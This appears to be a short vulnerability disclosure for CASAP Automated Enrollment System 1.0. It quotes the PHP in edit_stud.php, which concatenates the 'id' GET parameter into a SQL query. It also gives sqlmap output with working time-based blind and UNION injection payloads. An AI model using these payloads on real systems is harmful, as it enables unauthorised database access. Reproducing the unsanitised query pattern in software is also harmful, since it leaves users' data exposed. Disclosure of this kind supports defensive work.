BigTiger2020 Update CASAP-Automated-Enrollment-System-1.md History

1 contributor

8 lines (8 sloc) | 631 Bytes

- Exploit Title: CASAP-Automated-Enrollment-System 1.0 - "id" SQL Injection in edit_stud.php
- Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
- Software Link:https: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
- Version: 1.0
- Vulnerable file: edit_stud.php

```php
<?php include('header.php'); ?>
<?php include('session.php'); ?>
<?php $get_id = $_GET['id']; ?>
    <body>
        <?php include('navbar.php'); ?>
        <center><img src="images/casap.png"></center>
        <div class="container-fluid">
            <div class="row-fluid">
                <?php include('sidebar_students.php'); ?>
                <div class="span9" id="">
                    <div class="row-fluid">
                        <!-- block -->
                        <div  id="block_bg" class="block">
                            <div class="navbar navbar-inner block-header">
                                <div class="muted pull-left"><i class="icon-pencil icon-large"></i> Edit Student</div>
                                <div class="muted pull-right"><a href="students.php"><i class="icon-arrow-left icon-large"></i> Back</a></div>
                            </div>
                            <div class="block-content collapse in">
                            <?php
                            $query = mysqli_query($connection,"select * from students where student_id = '$get_id'")or die(mysql_error());
                            $row = mysqli_fetch_array($query);
                            ?>
                            <form id="update_student" class="form-signin" method="post">
```

- Vulnerability proof :

```
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 7429 FROM (SELECT(SLEEP(5)))XrNV) AND 'JWGO'='JWGO

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-7484' UNION ALL SELECT CONCAT(0x7171707671,0x4e76444170537648424b726271514b754c654c764564474d6345577050
65504a7147494b784a7955,0x716a716b71),NULL,NULL,NULL-- -
---
[15:13:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:13:34] [INFO] fetching current database
current database: 'bilal'
```